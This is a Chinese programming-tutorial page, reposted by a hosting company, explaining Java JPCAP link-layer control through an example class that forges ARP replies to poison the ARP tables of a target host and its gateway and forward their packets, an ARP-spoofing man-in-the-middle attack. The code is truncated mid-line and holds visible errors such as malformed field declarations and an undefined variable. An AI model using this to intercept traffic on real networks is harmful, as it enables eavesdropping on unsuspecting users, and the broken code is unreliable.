JPCAP-JAVA中的数据链路层控制 - 编程入门网
B发过来的数据包;D.转发路由发过来的数据包;
下面我们给个小小的例子说明怎样实现。我们假定运行这个程序的机器A只有一个网卡,只接一个网络,所在局域网为Ethernet,并且假定已经通过某种方式获得B和网关的MAC地址(例如ARP解析获得)。我们修改了B和网关的ARP表,并对他们的包进行了转发。public class changeARP{private NetworkInterface[] devices; //设备列表private NetworkInterface device; //要使用的设备private JpcapCaptor jpcap; //与设备的连接private JpcapSender sender; //用于发送的实例private byte[] targetMAC, gateMAC; //B的MAC地址,网关的MAC地址private byte[] String targetIp, String gateIp; //B的IP地址,网关的IP地址/***初始化设备* JpcapCaptor.getDeviceList()得到设备可能会有两个,其中一个必定是“Generic *dialup adapter”,这是windows系统的虚拟网卡,并非真正的硬件设备。*注意:在这里有一个小小的BUG,如果JpcapCaptor.getDeviceList()之前有类似JFrame jf=new*JFame()这类的语句会影响得到设备个数,只会得到真正的硬件设备,而不会出现虚拟网卡。*虚拟网卡只有MAC地址而没有IP地址,而且如果出现虚拟网卡,那么实际网卡的MAC将分*配给虚拟网卡,也就是说在程序中调用device. mac_address时得到的是00 00 00 00 00 00。*/private NetworkInterface getDevice() throws IOException {devices = JpcapCaptor.getDeviceList(); //获得设备列表device = devices[0]; //只有一个设备jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接jpcap.setFilter(“ip”,true); //只监听B的IP数据包sender = captor.getJpcapSenderInstance();}/***修改B和网关的ARP表。因为网关会定时发数据包刷新自己和B的缓存表,所以必须每隔一*段时间就发一次包重新更改B和网关的ARP表。*@参数 targetMAC B的MAC地址,可通过ARP解析得到;*@参数 targetIp B的IP地址;*@参数 gateMAC 网关的MAC地址;*@参数 gateIp 网关的IP;*/public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)throws UnknownHostException,InterruptedException {this. targetMAC = targetMAC;this. targetIp = targetIp;this. gateMAC = gateMAC;this. gateIp = gateIp;getDevice();arpTarget = new ARPPacket(); //修改B的ARP表的ARP包arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet)arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY类型arpTarget.hlen = 6; //MAC地址长度固定6个字节arpTarget.plen = 4; //IP地址长度固定4个字节arpTarget.sender_hardaddr = device.mac_address; //A的MAC地址arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //网关IParpTarget.target_hardaddr = targetMAC; //B的MAC地址arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //选择以太包类型ethToTarget.src_mac = device.mac_address; //A的MAC地址ethToTarget.dst_mac = targetMAC; //B的MAC地址arpTarget.datalink = ethToTarget; //将以太头添加到ARP包前arpGate = new ARPPacket(); //修改网关ARP表的包arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //跟以上相似,不再重复注析arpGate.prototype = ARPPacket.PROTOTYPE_IP;arpGate.operat |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢! |